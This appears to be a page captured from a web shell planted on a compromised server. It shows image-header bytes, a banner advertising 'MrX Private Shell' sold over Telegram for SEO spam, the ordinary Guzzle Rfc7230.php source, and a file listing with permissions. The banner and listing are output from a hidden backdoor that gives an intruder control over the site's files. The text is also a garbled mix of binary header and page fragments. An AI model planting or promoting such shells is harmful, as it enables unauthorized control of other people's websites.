����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
namespace GuzzleHttp\Psr7;
/**
* @internal
*/
final class Rfc7230
{
/**
* Header related regular expressions (based on amphp/http package)
*
* Note: header delimiter (\r\n) is modified to \r?\n to accept line feed only delimiters for BC reasons.
*
* @see https://github.com/amphp/http/blob/v1.0.1/src/Rfc7230.php#L12-L15
*
* @license https://github.com/amphp/http/blob/v1.0.1/LICENSE
*/
public const HEADER_REGEX = "(^([^()<>@,;:\\\"/[\]?={}\x01-\x20\x7F]++):[ \t]*+((?:[ \t]*+[\x21-\x7E\x80-\xFF]++)*+)[ \t]*+\r?\n)m";
public const HEADER_FOLD_REGEX = "(\r?\n[ \t]++)";
/**
* @return array{0: string, 1: int|null}|null
*/
public static function parseHostHeader(string $authority): ?array
{
if ($authority === '') {
return null;
}
$host = $authority;
$port = null;
if ($authority[0] === '[') {
$closingBracket = strpos($authority, ']');
if ($closingBracket === false) {
return null;
}
$host = substr($authority, 0, $closingBracket + 1);
$remainder = substr($authority, $closingBracket + 1);
if ($remainder !== '') {
if ($remainder[0] !== ':') {
return null;
}
$port = self::parseAuthorityPort(substr($remainder, 1));
if ($port === null) {
return null;
}
}
} elseif (false !== ($colon = strpos($authority, ':'))) {
$host = substr($authority, 0, $colon);
$port = self::parseAuthorityPort(substr($authority, $colon + 1));
if ($port === null) {
return null;
}
}
if ($host === '' || !self::isValidHostHeaderHost($host)) {
return null;
}
return [$host, $port];
}
private static function isValidHostHeaderHost(string $host): bool
{
if (preg_match('/[\x00-\x20\x7F\/\?#@\\\\]/', $host)) {
return false;
}
if (strpos($host, '[') !== false || strpos($host, ']') !== false) {
if ($host[0] !== '[' || substr($host, -1) !== ']') {
return false;
}
$address = substr($host, 1, -1);
return filter_var($address, \FILTER_VALIDATE_IP, \FILTER_FLAG_IPV6) !== false
|| preg_match('/^v[0-9a-f]+\.['.Rfc3986::CHAR_UNRESERVED.Rfc3986::CHAR_SUB_DELIMS.':]+$/iD', $address) === 1;
}
return strpos($host, ':') === false;
}
private static function parseAuthorityPort(string $port): ?int
{
if ($port === '' || !ctype_digit($port)) {
return null;
}
$normalized = ltrim($port, '0');
if ($normalized === '') {
return 0;
}
if (strlen($normalized) > 5 || (int) $normalized > 0xFFFF) {
return null;
}
return (int) $normalized;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Exception | Folder | 0755 |
|
|
| AppendStream.php | File | 7.43 KB | 0644 |
|
| BufferStream.php | File | 4.69 KB | 0644 |
|
| CachingStream.php | File | 6.74 KB | 0644 |
|
| DroppingStream.php | File | 1.48 KB | 0644 |
|
| FnStream.php | File | 5.76 KB | 0644 |
|
| Header.php | File | 4.77 KB | 0644 |
|
| HttpFactory.php | File | 3 KB | 0644 |
|
| InflateStream.php | File | 1.38 KB | 0644 |
|
| LazyOpenStream.php | File | 1.06 KB | 0644 |
|
| LimitStream.php | File | 5.11 KB | 0644 |
|
| Message.php | File | 10.1 KB | 0644 |
|
| MessageTrait.php | File | 9.81 KB | 0644 |
|
| MimeType.php | File | 55.82 KB | 0644 |
|
| MultipartStream.php | File | 9.85 KB | 0644 |
|
| NoSeekStream.php | File | 1.12 KB | 0644 |
|
| PumpStream.php | File | 6.88 KB | 0644 |
|
| Query.php | File | 3.95 KB | 0644 |
|
| Request.php | File | 4.79 KB | 0644 |
|
| Response.php | File | 5.49 KB | 0644 |
|
| Rfc3986.php | File | 490 B | 0644 |
|
| Rfc7230.php | File | 3 KB | 0644 |
|
| ServerRequest.php | File | 13.2 KB | 0644 |
|
| Stream.php | File | 8.76 KB | 0644 |
|
| StreamDecoratorTrait.php | File | 4.79 KB | 0644 |
|
| StreamWrapper.php | File | 4.68 KB | 0644 |
|
| UploadedFile.php | File | 4.98 KB | 0644 |
|
| Uri.php | File | 23.44 KB | 0644 |
|
| UriComparator.php | File | 1.24 KB | 0644 |
|
| UriNormalizer.php | File | 8.91 KB | 0644 |
|
| UriResolver.php | File | 8.15 KB | 0644 |
|
| Utils.php | File | 21.66 KB | 0644 |
|